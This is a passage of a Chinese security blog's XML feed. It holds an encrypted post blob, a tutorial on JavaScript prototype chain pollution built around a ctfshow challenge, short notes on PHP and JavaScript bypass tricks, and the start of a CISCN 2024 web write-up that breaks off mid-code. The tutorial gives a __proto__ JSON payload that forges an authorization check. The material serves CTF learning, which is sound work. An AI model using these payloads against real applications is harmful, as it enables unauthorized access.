b4945589f72300bc55359f7be8a753d97aabe820c3aeb7f7d638c6a5f608beb93f62ae0a988a1446f58f650e3050d8e0a0370eb60ee00831ebbca5ce0aebefd65cb89f6c98440bcc2db532821dde56b7c19734a9eb655de28abc307d49acf16a19de9d4d05f5a3b5c71b801a3be2c6a09844b6cae96b1f7601940befcb825446763e1ed8915e00fc91d5f224e63f7df0e2dc77853be6360231d3a47296c30811a627cc195bd03c3b121f8cd1c41146883d44b7d2f622c1071dff19518f9fa6c88748e8078758fdb53b537e0bb233fd2b947f9cd16a4efe4b5f904d1a14f5357e98c3c504e5507d39d3569bad90c00ae43578156619dbe0a58b90959eeab77eddf834d10d96ef009986ef3be43a6fccca488554da0b774116cabd8e92a0cdab1609d6ad5576b241ba1c6d75d3254c2ce581c18183c0a36a7874dc47b7ab428dae0840abdf697aeb2dceba45f21c330d270f99cb16051a99674ea0c4c70380fb8bc6f73fdb6e98b92e84cb5d133819cd2feca4b5e8bb3f4576611223e0deedbd821b7628c3deb57f2ec255b073ed6d880f8979d83e9f4d321ca3e87e0090119dea278b9687e51e2c0eb0c8fb1009c3c70534ea7b0f5805d104a107cd1a5cfd508509582befc205057bafd6e5cb84fd70d70aacd4b837c35c8425b008006670db9a54112869348b1e9190b1fed60909e8cf040adc3d232367ae0b31b58a0ef058d8ce75b648b5959d814b1d111463d440364da3dd8bd9e5048c00195739fb813c3dc5f95b6581d4210802799d1eacce9d808d10150b2d081f31f886a6f126a636ead79137aa9d0b795d8205074af6963cb329ef7d3839a3b58fdd1f0b568e67623fdeddbda19c5437c137d342b2c1be5451cade2864aed6f73cceccae5b70f8dfd3c70683aaf404b8643f62f945a9d5916d17493447dafca31fa17cd24b2f80809ab3c277096f7f79d9d93bec3946aaf2388138441988cd5652f3f27a2d6d7ab93b7b616eae83f03a85c2f3cddf74b44e2cdbdf65cdddc212ef572da9a47717f20f6f707612e41e4978899e561cf68449361beb9362b6a9efc8722c0b4e2de40ce009c492433aafa946b2789858cebffa8cc003d3b63bbbd7415be402258a41bf114cfebe78611525fbc8266f4fd9530d70ca896f5439ffa4d1d7851b8845d42045ae4e1c68b20991e09976611af566d212dcc5e07c593a92b7b3db6673b2b061177a00c3089a63232490b0fbddbd4749d84966cd9f9d326700eb6fd0092eb240e6d75568a35febf0b516294fdeb408aa2dae97d471b88738c2dfa6333692247b488d78e135cd7df92daf3690c631fb497e9ca82d47955b7bfd44af353dfaa08c4b3f5e43bdbafeb72cf0ef7b53bd7e5b5eee453691d106290039ad3cc82856ffc223c7e56f946c8d661b1d35963c228a7244313c3599fad51ade4264b1a44d11e04f96d6f525e5b9d5f33060b56804331f8f8a34b1b820de08921d2cc4b0095adb04a00c4e43e54146c94f5fb14e84bb52d8d31a67c18a3d02abd0d570d50680c2b8e7c12a2120f8154a20fae87dfb71a2a736ce122269f7e663eba32d4d3a01e651006a9d521c6759de1a0fa35d1c2c3b373bae1bfdf30f232bbdb346ccdea6802589a27ed65070028addac153e6bbed9903b6f9f49b0a785cff3bed7501a5004bcdd40bfb8dbeebd0911db42c6cca982e5144dd4741540a57807080f39f01d8430593264746c1f59311003d32b9fa088e629e333e200a8d7355e0465502e56a1eb91bb3f16fe824e4090c9c7f38c3009608c916c4a9687fed71a0910463c616861db85718b788a4ed5d7d45ff60742af537b1f46c7b1a4695b9e670b4946ce4acf3e979bd8392d43c3ec69436cecd94aca496fdba2571ef4a145dc10708b24d027dc5f7570a9fb3fdae73cf80b887ce824814f0f1b2309e54ad740714a92a3fbbd5625161acf25a14b212ec048e6be6dc2d45642c9fdee1f1d28aa7e132370b37eec69b6d27f451200e975656df24576a4cc0026309e69f93f879b184f350ae0ed78f60ff3e5c584593b054f5fb202a9d76695602ebd6afa91b99d3703a2cad55ee0ccefb3b095f9b0dce4ffa3b81c2f6d0428f100e17af5ec5948cceda7ca4b09641a0120df41d951bc8d529966687f5346e699bfb2451cd2a4a9aea0aaa53915f4d29fe89045fcf5cb3e66087e773501f5d2f096b26e66f2594a86b67a036c092b9d8f6ac9228dbc9773b582e322527f62d3be6fe36e6f7cbdf9993f323fcb641dcb7ee8310a72c3ed26416c82d4f5d25c4948e69a3b37cb83522ba756e8e6dee6df4cb42f3147a52e7cd3167b4e2ca83720e2d0c4d865d3ae3cc9c4c2013ba4d762dbcb2ca40a607b6beb9d32746f5eea3e8d842647c6bedf8d73a4f24a630e8d4b7ea0550b3880b23101d8271634f00efa879c0791cd1289d738fa910fc8f1cc35cf60f1370b5bc0ca53d40b7ff6a72c1c1531f721ee2be4f6dabe35ccca063474f180ac224504c142d19b5ce22201aa153f26c0a38e5860ec2fb9d5c5763f311d862313469043c5c4365be4847029f600272ccb377f669435c21d43d6b9fdd75113430b0ae092f5d183b992e2282de28810b998aac1b6a80bae38abf63c32e4008006ec9b744a9405affc67c0e22b8442c199d88ee180d11ef9d85466ed03c95355a81ef7e3fc63b22e66d759d30f5d6931a5a03835a6a1e9dbae7f3a980a4728c392b7438f6b104bcee95d1a7b740be8c498c37b971eb37862a170cfa13ed5403cd4f60f4a59a65f2d523ad0b35352ab58511e785d44250c8855399aa3b6c74b1529360eec8f6350364eafc9cf0d70fad21e080dd53601aa5308fa1ff306ec5da8a54135bf23e631c24d33fb2c5d4c24b25339b6972e950895a6b7123dd640255dd38b5778629a618f45796ab12b372699c032f4de60eaed80d26eea0751c36a57cf9a3b7f3961d365ce5415fc42a395939e0f1028590312925b5cfa20e86cc391e6c88a5b321b52de7ae4c32710320e76d8685fc0edc552263224c1bb67b6ba63c9ebba8eb42da69c35f8a32c8e047b47cc200691ca79e6aa252d025e1c684f71ae6040a82470f6e01368148b587bc25f2abcaa82bee8cbedaaa012640125b4b52435e91896110620efdc8b8f39bf4b706eb365013a97acddfe48d87128e24df11b1e6ac57d924049beee491d9eba7f981eded545faa9cb2dd4615a0a2bfc25d95aa1b7a26a9873f60410aab46f06195a2815d1a78c9fbe9c66ee1d952d4f53393fcb3f1601c120719ea0504c03a6159f7454cea9561737272d73904b947b679a4dc3a6f71d38c65570133a32a4a7fa048cc04af638e9406679a4fb46ab507e0f53a34879319f581bf9de1cf0f63134d8e8f8333f55518f569b313c45db2c11218f1403684d27ca6799acaf2aa57d2a4db89a47656bf4b43595ffd41c7487938aa00e7d9b1ca8c7246829b6c5733fb1c070f99286b1984e8303ebae262a0d4ab83c02b9f34198a83a00ba5405438167267f1fe6e98de88571f218759b5461c32625471da2798947dcd13bb42e85087a9d50578950f73a86854da108dbb657c4d86591e1e1ef68742294560ec2002ccb467c4d311b14333111e6facdf0a4a26c0c589c73de7e9d39a28a1b732fb85f35894f5f9b9086144766bc5a11439941471eb58606f36fe62591a6fb5e5835b0d963c9cec42f6b387683db99d4dde964f345603e11c421c554d9ddca5ab159616348894b10b0b5ddc77f8e567913c163eb3b6cab8eab8834c3768f19968479a4f993623a1f92842841c8d29cbeaa0cfb0b4bffdb828c1b2789c9c0a1fe7782d36fea3da0a0c1bec9b7b0308f16875573b08d343bf92fb70677354872563ac216f4de02b1fb6fcc05a7e0a57f712370f7d3dd476e509cde5dfa35c188bd49ad5fd095027e40a33531a6876bc6b5314553cc8e95dc2865b9e6879ff9a010bb3efa065f24e0d78d0186349a96ba513a2e25ecd1ac9cd03b942f880c44d9da429840ab01ed859027341f9f586db889b2a4ef5435631ae4967bff42c7afab4910b7d7a6d754ec159971c96a4b93a0e85314391648fe1320773867fd5aca93ca14d4507509860498e6ac41e1ab019aee1fb1e3c80bf84371f1e7eef4299fa93a693ef787c140958a49a54e740e2b55c4e4421f011359aabcd2d841c55ba4f2105794d6cefe96bb1ef2f945d930a501097d2ade47dcdc31f9fc0d40643793bcdb3d0d009291bcb82032908d6abcc0cbc8e3679525317693054f1e8cea6c347b2aa1f687f04737076caec1d01653157823e6ed3a580b27905760f160b4e3a1685fa99736fc035baa56f39a0db7cc7467a48b0859e6156f29fe76083a21489a2429b2a33519e682f7c33ed2c566e7d707285c200e8916d8a0611ddf8c8b66b60787296fda39005fe9a487cbae7d8f7c0c1706679a44c200f5585efd8d67ad742a651a7824f09876edd1f33f641355b0f028481a42a54e89a8b15d1cfceda94a3c6a33d5e1bbf5834e6cfe8fe74bd4a5b5bbaec8754f3fcfbc7b94543b4d5905912f6778336551a580a2a86cfc7d3d96c9b9ce17332ae64798473b1b5698e832df9a8b77910efb19010fb173eca48100a47a42a823e6f7d3827233e7aa6cde4bf0f3b253a9fb1991d158f95a98396f68ded4d3ff08560399d9f89ac33d0467a81cbf30bb9884766341bd81301b468b478aeecc527335eb88d3f30f15396da3a41fd6264e75c5cbb1b08c5347639195e4036bd5c1225143da2d6ebb0fa7ef0903e0f97fd2487dcd9725437c627034b2475a6c5dadaf9db38f1aaf8a13c426fc365025b6cdbf4eddf70741286a7e2c5060238058bd2d63e4c7bb86beeeebd5c3db4b49e07c83ed4c89ccb1ed75e92d8b94dfd386d0f9a709eac139566f51219a898d71dd23ab4d66975d3794f768534d36ceafe8032b37f528ad728f0d1a5210fb306613b0acfa10d24c7f8a58c52af5a7a0d25bffa393fa69402f383d4d2db235897e29f381a2a9dc1b3ff093f48045a6ec3c81e2c61c3c5afe5fd11ad74650ebb27f4b83eabcff544cf2582e30d651ffd4354059fc2313d313cee5e19124dae5cf82c007daa6363988291c5468a4d1cbba46ccf03dd30514a3681a3b7d9c40acaf39c4334d55f1a2c5eb388c97630b4b423563c80de1180c8a72cb0f70d08982c950eb04d6f25489d0831438fe78c57f6bb32f4356822229d5840465201e584c4c31f7b296903d70f0080822c369cce6e8404ea3d978a4fc5c14aae61e9a623c8e271dd83cfd04cb1a49f1ecd52110f76d4f87ec2abc224995f2905540609002de100610f084b4ac6a4698334179ce4a44c7ac5b9f19f471ab7cb94428e6bd3c1947beb4fb7b75b629e4d7661660b8378ff43dd13bd3ec45234a7992c9099027bf1c5221a196d811271c7da7d84f0f217e7808a9b2d2371bf2dc963e81c9d21c17f30d94defa58db1110d8edd14c30d0b385a69bdf8584c9c1c44d6ea257a3f423d5916fd684412aa6fa041981244bd422fcb645d09c7402d15e73845aadb431889cf09b60346d3299aa8841d0fd009b6e9a6ab7879de7c6980d2e976740debb953c9dee1a0ed880c68d8290aa192cefd862810f0b251c9990b0530e0dfe880f3fddcfb7a1720dbf92cae62a51a515b43f2594b038e38bc539870200a8ea452da6dc574032739fabff5a40f7a820ea80a407a7ab0061bdce8961f056ce8149fa2321bfc83189ac29bee4b172a3d1a0d1b2841ccfdfede28e8ee76c19f3c9f4ad6b66d29255606ed6b7574a7570b1214b82f6874d3a8a7e8f921fd8e72b8d10f58e6f718980521b36c88636101225ee5b86a2915f8f39ab70143f982f93089990c71f389b878ff42990869b280aeb1874d5d496b50ddb51d21b36c69b53b7f50984f946e70a81ea83afa6bdf8fb5c117f01dbe1ae91de66fbc9a30e9975ae3b87e2e0bac1120c40b1d3eaeb0a596e2a157c2ba76aff9cc9eab9d1729815fefeaa2cce19f807565a68b52a0c5c4f929d4779743e00d1fa2ceeeb859f84fd1a01544797512f1d3d17ed58c98f7a1d9b2fdab175e2109ad7f17b6e16ead8f529026386dbc7843af9f829f19c8d3a4efcf6acb9dfcd622f24b9f3f1baaf466284e04bcdcd17cfeb4555fc94fa9f29a1b0c2bc833320df6d1b9e91c44f5382604cd937e7f022440231e04add6f955498d2a72559e1d1a4bdbf9d4069233497a4306dc178c76128994d1da935235b83df1bd8147e4e7ab439a9fab7cfa9254aefd7d419e6b5eb3f056cd16a3656ebd332952e994dd1ba771543d1531cafd20932ef906c3978f42b870f8bb037c30461520c8665b9dd1da014f49f1c55735584fb939bfd7afed1eb4b5c41595cc692fc5154a8d2f4dedc6a4322055933af1afb681358fdeca8cd12b027e7dbb2a6246966944f57c29907ca1167e9a75744a59f632d6ceedb4950af5389d4029df0e00c31f51b0a617a5092103a0d86486a4cdcf8761eddb5fa13b6bce03f73682840d3658439922b312f8294ad319f8c242ebe520f9f1629f036bb839ce88ba74c5fe205c122c57d770f4d24eae9ce1ed13330d58ed6e77f9836cf9567a0b3d1a13d402e255884e427eeaf48c39324f4177769b52148d2e688df2953a286d5c2de77f0ac52afb23db9b1ec1b71eaadc46fe4b233a4246500fbaf8be20b67de51ff9bc396377902d328665f6df35aa51ce8a086359c7e8ddf9f1ed7aa2835657375ef11fc73fd25c49d593a6221ab1649d1c5738baddfa084132ae7910fb2f8e39d68aa84f5b15723761a65c07277c1711fb917a8ecd181fc622fd680e775e79d5e7bfa998993d5652cc4673170749e5ff66a07937683ac0402948f7054ffcd6e353d08ab909e98e049ad270ff56f78df835377851f96ded2dcf0658b4c244752578a2c608b7f4aae9cb19bf67528d04ea9840ccbc42b86462ee2ca2cd62ed5af0f077c63cdf4af10409417f7a3b480903e3b22e7aa028de77f4e1989bb20d3b04c7cb5a999e9e59cff9bdf03d2ff62b9550becb681db74250aa1ef45a2866cf2351f44cc5d6a1aafb8d2071638c83ee7f758f7570b6ece34232d73b11cee8fc6dffb84a33d8101942916583b99606540b18794438fa1cd77c2690fbc8dbc2b8fad78ba2689df0faa51b1a8f0790ca113c1d51fa453f19f2d9000e53289aa3e96914a130b59a690c2d9a6114aa8f48fcf6a024e3f887191044d6887ed9b7377492f5e8d40a7269795e47a69b1f22125f7d6d70e7e07bf163e9f2db0de1577a9beac5210e4d060037283d9c81c42a49bb2082ece7f44637746fc35e603aafb4759ec650023d8b5a956a1572e5330507fccab415740c2ec7ce87b9e7b44584e432007d476349e8da8401612a156413e80e0dd85b21afb6a5481b0b67f1357cdd9cf08a097204bfd92b12a393b20a3788ac497999960bb61217cc29eb3c1c8164333b0c274cd32dbcd951b7dc0cc57434277e786f56f9cc0cb1577b1a68dea48058893af30704b9ecf89b4ee51a5780d0781c0e1b83afe59650e2653fe6656b303695084bbbc03d0950c6507fa02ecf15e3b9f3cd8c835ac82aa154a2642ab3035af80cd8f66e8baa5c4ac935a5c75b8290a40f34688d4524588122cead82168d49ba998d824d165a3c2567638709cbbe87d26c31884c70e8cdda8b8bab1c698383e1c8a28b2071b2a1b9a7ef73216c81d8e6d27fa2060e6d508d4537a3fb770b410179042f7c06aaef6e7067f802016155e8313329a59a164b075a0d7a1a4af054e41ba1faec7f878cc911ef88de7fbb86f0368b133e903ab9804e5afbedbf9b446a9e149c350cf0c8f5e10bcd89d819e68df819f736592a6f55aec23459fe73f125fbe34be0c9373cbb47c616e8acea8675c0c1c27f6cbe2a727e8f6378d22eab35f66532423266e29cdc3894034fda8caa2059b5b7115528b0b22f7ce074e028f76061716f44667c2be7a740c0ccec0e90e02bde785a1f80895daf0de81f498c39b1a044c62f9dacd4717835bd340eae5d09fd9c81d0fe9378ff120de8f9d8fd77021a85c57f4f524dd5052cd7a370b072c46fd65fae7ba4f9a4301ca44acfc1d43a546c683f3b0649d1d60f3d5c85670fc5f95f35a19c1b20f210283abd3cb8d2a307fa3e1ef9650a61e63e4bb577f6963821175d65217fb0fb1943dd9fcd5b97e9f6688e5c4e588da6e9df1210b7e135f55fa72bdc3c7f7d661380f5a24994655b43659cbf010a56ff07a27ece4ccb07d2d61a0e90025095f4e91da1f046c1e51d288c8517a38389e5860c52a7bf61a0783b101eb9b420fc117a5c36f224e9d529dae1a0708a86b826380c050c890374a5558705be861aa3421c42dfcf8f1a266891c0795f657b3f21e841d8e14e0734a512dc56661cc9732b769e5f904874892d70906f18f6545736e6fccc774bec9f4d44c87b7dd737f95e67a2c55d8c7fe771e0e720807d73a3758b19e0cb7ea06347510eb81c479a0e029b56d0f60a82043368f94d06eebb50fcad59dff746b4332e0713dab96d817acc183dfd16fce31184f7e90729a89b805282a2b4215257d5e634050ff7abd0901cf48d2bd717cf12389da4df537a1ab5f8c885e54e555207502f7f19e0c8fdb7af7f0be4c024f0b40943cd2f297a1521d0c466c208835f90965c3dc07963607a43b8b58c5d525648d787186c79fe7579fbc78da6761e76ad84230ddad8d6ef7d37ac6bf28814f94edea021c231e9eeb476b41fe995cf2cda468b5a51198d85a833de30248c3ceeddeed923c6770eb8757484a46bb0669a5077f366055a46e7e6a984e4837625252453c6ad9b0a5423c955f42a70d63b392f8a6afd990bfe282971bc41a867f246393ff0ceac7c20c964df137bb9d69c90b221bf084884ddb7de2b8ca048293aed5b66698102e763ef1602173db2ac6d52c39517fcf1dcb61f523336fc552b9c7013ba49241cff205fb17539a86c1021a2b8c64ddab42ed64aacf6cc7a722867d3d918b48e7a1a05ba6dc3304718fc11b273af2b4aed04cace89e6af391392aff6903cb009987baf554ae078ef4790c37eb850fd3542733b9562db5dc48a23e1c257c4f69ec1b07a4dfd4cbf6bc69ebb36d28b794b73ea9680864b05053990c8f90e68050ba7811595923311ac5dfab5b26da0395a23d64a29bdc58275bdde90419e74abb3518b86fea801d53d60a8fe276c4a53517c2cbe3ff7bbd8057cc819aa012737f8f49457a63689399851330626ee8014961062d0a15ac78c844ef55c2d1b1f58f4f04f409448d50863c79e47c0aa2c93b7634da9147b2caeb3a702a2121e495666e8c920c51ff562caa8004331192383f8acaeda3945e050e6817fc7d8dfa726a1a4a28daf4e85cf7d6a89033afee609f4ef5cbc65ec48f3a869510e963a1338b02810409085778d873d16d65e7f14564c81fc201a90eba02af183ee61ea959d78d371ef24428b3fa76d9fb20720a3922144be79345e87d314efa366c0cb2f7ea8468e1504c962023a3d1145ffa7968df200b7d96f51603da8308278afbfc7867291a112beeaf21d5efa4fcff9fc7e3cfcb3415c3183441c00ec5fd41e95c2ed61b8d9e1bf13b8e499c57fe8d65855ac3a5903f674abd010ed0f05889a1b8c2427e8174e2666b6c36098f44130d388cde5cc22e18ce2f0df07b68ea52d693c74f325c1103e7bceecda3d8efbe28b58c2550cc72ae152aca7493156abdee04e12833029a7c7e6845cfe045fc938455bb12d1c57b79b6acf57b57b6fce0c27c5e13c7dc60e95cf0baf909a3dacf9220749c109926b0cd22194e786fa4bc6dfaa8a2d3c3d47503b6d5b2ec2faa29674bb3fbae47f11d93504571592e05dffe5097590ce3a3d6f175ff629d71f60adbcc670c4afad3559f6423db6a7c0baf948f977b7b1723a79c8bdc50b29c1ad548e78e2090e0ba7c4346d53abad33ef02e9ac5cce28ab9aa3372bc647934696f940f8f3441b6337b7cb487806a12fef9d81c31e2f012c009763f7906e8fc2189f932a2616cfa6cadc5bf44af76798f6503613134fd9d39f6a7767fff26446386c1154970bc2564230f4191aa9a62e17eb496ddb1fe78ad65a9ac06e0766e3c33f6ca09adfdabdd84312c491f7e0b7e554aaab4cff19bda45ddb6217b1102191818eb27565a48c95f5f6809d6297cc829e50c8f1678dfa050114bcdf7913fd30e769c89fc33f917db85153b51613bd7f30ae7e208daa52eaf4cf56fe5db43569d251962b1b49471ab855cd1b3ced107925a856beaa184340f5b6b8af465ece164c0f4a0acac89c4eedc794ac433fa2b5b483ddcbb929c17692818c71ce3bd55e7447f42f314a17de0802fbaa5127c12d7c3829ed2aa9c1bf95fe6a1c75e35439842282c04ab999bd8b2786aa4e7f6ac18fdd71e9f2eb775491973e7e938bf4a6327e5284e81986f22730f76f515e5d3d4ce9ae7a5809c75045ff2b54ce295196d4305557b65fec67e0570488dbd63fc2d1e8ba3c9a8c44fdb33e3f247128a1ad40a5b048a1af3294cf38bf1ca085338d46868f55a633c94857a6b18b96315632af586e28b8c5f19e9bc0d9ce167cf554e373d81bd2afde4352f4b65c5dda81dd7fabc03e77418f512a917a6125c87af55db207ba2e2997ccb4cb1cdaebd85e78a8b08811b42875ffc7c54e92fe3f63585c67f586dcac4b151b043fe7aebae80e9f43b2bf7c46be4f48bd1c1a81e6af1292e89dc81bc22ec8166ffa6b2a4d1e70117c713db9c420e24cd6b8b642affbd68ec23d4bef43fae6623741de05911c8334e8c03625bb362baa515bbb8194895836dca48cf56505f17aec36bed396cc94977200a161bca4eb4bde09c24f8905d4fb88cc3da75ef100fd4b</script> <div class="hbe hbe-content"> <div class="hbe hbe-input hbe-input-default"> <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass"> <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass"> <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span> </label> </div> </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
</entry>
<entry>
<title>JSC fuzz 教程</title>
<link href="/2024/10/16/JSC%20fuzz%20%E6%95%99%E7%A8%8B/"/>
<url>/2024/10/16/JSC%20fuzz%20%E6%95%99%E7%A8%8B/</url>
<content type="html"><![CDATA[<h2 id="挖个坑先"><a href="#挖个坑先" class="headerlink" title="挖个坑先"></a>挖个坑先</h2>]]></content>
</entry>
<entry>
<title>JS原型链污染</title>
<link href="/2024/10/12/JS%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93-1/"/>
<url>/2024/10/12/JS%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93-1/</url>
<content type="html"><![CDATA[<h1 id="js原型链污染"><a href="#js原型链污染" class="headerlink" title="js原型链污染"></a>js原型链污染</h1><h2 id="什么是js原型-prototype"><a href="#什么是js原型-prototype" class="headerlink" title="什么是js原型(prototype)"></a>什么是js原型(prototype)</h2><p>要弄清这个问题,就要先弄清什么事类和对象。<br>类和对象是面向对象的编程语言中的几本概念。这里不进行详细阐述,简单的说,类可以实例化成为对象。二者内部都存在属性和方法。</p><p>现在来说原型。原型分为显式原型(prototype)和隐式原型(_<em>proto_</em>)。现在假定有一个类Foo和一个Foo类实例化得出的对象foo。我们可以通过</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Foo</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">FunctionName</span> = </span><br></pre></td></tr></table></figure><p>来定义原型。完成了定义后,就可以通过</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">foo.<span class="title class_">FunctionName</span>();</span><br></pre></td></tr></table></figure><p>来对定义好的函数来进行调用了。</p><p>而__proto__和prototype的关系为:foo.__proto__ == Foo.prototype</p><p>总的来说,prototype是类的一个属性,而由该类实例化得到的对象都会拥有prototype的属性和方法。</p><h2 id="什么是js原型链"><a href="#什么是js原型链" class="headerlink" title="什么是js原型链"></a>什么是js原型链</h2><p><img src="/images/yxl.png" alt="img1"></p><p>这张图中可以看到,通过 __proto__ 可以一直往前找对象的原型,就形成了原型链。</p><p>而js在寻找属性时,如果在当前的对象中找不到,则会去对象的 __proto__ 中寻找。这个寻找机制就是原型继承链。</p><h2 id="原型链污染"><a href="#原型链污染" class="headerlink" title="原型链污染"></a>原型链污染</h2><p>前文中已经提到,我们可以通过对象的 __proto__ 来访问类的原型。那么如果我门修改一个类的对象的 __proto__ ,是否就可以控制该类的其他对象的属性了呢</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> foo = {bar : <span class="number">1</span>};</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(foo.<span class="property">bar</span>);</span><br><span class="line"><span class="comment">//通过__proto__来修改属性bar的值</span></span><br><span class="line">foo.<span class="property">__proto__</span>.<span class="property">bar</span> = <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> zoo = {};</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(zoo.<span class="property">bar</span>);</span><br></pre></td></tr></table></figure><p>运行这段代码可以发现,虽然zoo为一个空属性,但是输出其bar属性会发现结果为2。这就意味着我们通过一个对象来修改原型链,从而影响了其他的对象的属性。这就是js原型链污染的基本原理。</p><h2 id="利用条件"><a href="#利用条件" class="headerlink" title="利用条件"></a>利用条件</h2><h3 id="1-merge-x2F-copy函数"><a href="#1-merge-x2F-copy函数" class="headerlink" title="1.merge/copy函数"></a>1.merge/copy函数</h3><p>merge函数合并两个对象时,对于属性的值时对象或者数组的,merge会把他们的引用复制给目标对象。因此,在merge完成后,修改源对象的属性,目标对象的属性也会发生变化。</p><p>这里用ctfshow的题目做例子</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> express = <span class="built_in">require</span>(<span class="string">'express'</span>);</span><br><span class="line"><span class="keyword">var</span> router = express.<span class="title class_">Router</span>();</span><br><span class="line"><span class="keyword">var</span> utils = <span class="built_in">require</span>(<span class="string">'../utils/common'</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/* GET home page. */</span></span><br><span class="line">router.<span class="title function_">post</span>(<span class="string">'/'</span>, <span class="built_in">require</span>(<span class="string">'body-parser'</span>).<span class="title function_">json</span>(),<span class="keyword">function</span>(<span class="params">req, res, next</span>) {</span><br><span class="line"> res.<span class="title function_">type</span>(<span class="string">'html'</span>);</span><br><span class="line"> <span class="keyword">var</span> flag=<span class="string">'flag_here'</span>;</span><br><span class="line"> <span class="keyword">var</span> secert = {};</span><br><span class="line"> <span class="keyword">var</span> sess = req.<span class="property">session</span>;</span><br><span class="line"> <span class="keyword">let</span> user = {};</span><br><span class="line"> utils.<span class="title function_">copy</span>(user,req.<span class="property">body</span>);</span><br><span class="line"> <span class="keyword">if</span>(secert.<span class="property">ctfshow</span>===<span class="string">'36dboy'</span>){</span><br><span class="line"> res.<span class="title function_">end</span>(flag);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">return</span> res.<span class="title function_">json</span>({<span class="attr">ret_code</span>: <span class="number">2</span>, <span class="attr">ret_msg</span>: <span class="string">'登录失败'</span>+<span class="title class_">JSON</span>.<span class="title function_">stringify</span>(user)}); </span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">});</span><br><span class="line"></span><br><span class="line"><span class="variable language_">module</span>.<span class="property">exports</span> = router;</span><br></pre></td></tr></table></figure><p>这是题目登陆界面的源码,可以看到,这里把req.body也就是用户的请求内容copy到了user中,进行登陆。但是利用刚才的知识,如果传入一个</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">"__proto__"</span> : {</span><br><span class="line"><span class="string">"ctfshow"</span>:<span class="string">"36dboy"</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>就可以做到就该secret的对象的效果,从而得到flag。</p>]]></content>
</entry>
<entry>
<title>一些知识点</title>
<link href="/2024/07/11/%E4%B8%80%E4%BA%9B%E7%9F%A5%E8%AF%86%E7%82%B9/"/>
<url>/2024/07/11/%E4%B8%80%E4%BA%9B%E7%9F%A5%E8%AF%86%E7%82%B9/</url>
<content type="html"><![CDATA[<h1 id="一些乱七八糟的知识点"><a href="#一些乱七八糟的知识点" class="headerlink" title="一些乱七八糟的知识点"></a>一些乱七八糟的知识点</h1><h2 id="md5-str-true-漏洞"><a href="#md5-str-true-漏洞" class="headerlink" title="md5(str,true)漏洞"></a>md5(str,true)漏洞</h2><h2 id="print-r-global-“-”-遍历目录"><a href="#print-r-global-“-”-遍历目录" class="headerlink" title="print_r(global(“*”))遍历目录"></a>print_r(global(“*”))遍历目录</h2><h2 id="js大小写特性"><a href="#js大小写特性" class="headerlink" title="js大小写特性"></a>js大小写特性</h2><p>字符”ı”、”ſ” 经过toUpperCase处理后结果为 “I”、”S”</p><p>字符”K”经过toLowerCase处理后结果为”k”(这个K不是K)</p>]]></content>
</entry>
<entry>
<title>2024 ciscn 华北赛区初赛试题复现</title>
<link href="/2024/07/02/2024-ciscn-%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%E5%88%9D%E8%B5%9B%E8%AF%95%E9%A2%98%E5%A4%8D%E7%8E%B0/"/>
<url>/2024/07/02/2024-ciscn-%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%E5%88%9D%E8%B5%9B%E8%AF%95%E9%A2%98%E5%A4%8D%E7%8E%B0/</url>
<content type="html"><![CDATA[<h1 id="2024CISCN-web方向题目复现与知识点梳理"><a href="#2024CISCN-web方向题目复现与知识点梳理" class="headerlink" title="2024CISCN web方向题目复现与知识点梳理"></a>2024CISCN web方向题目复现与知识点梳理</h1><h2 id="1-simple-php"><a href="#1-simple-php" class="headerlink" title="1.simple_php"></a>1.simple_php</h2><p>非常狗的一道题<br>先看源码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">'open_basedir'</span>, <span class="string">'/var/www/html/'</span>);</span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span 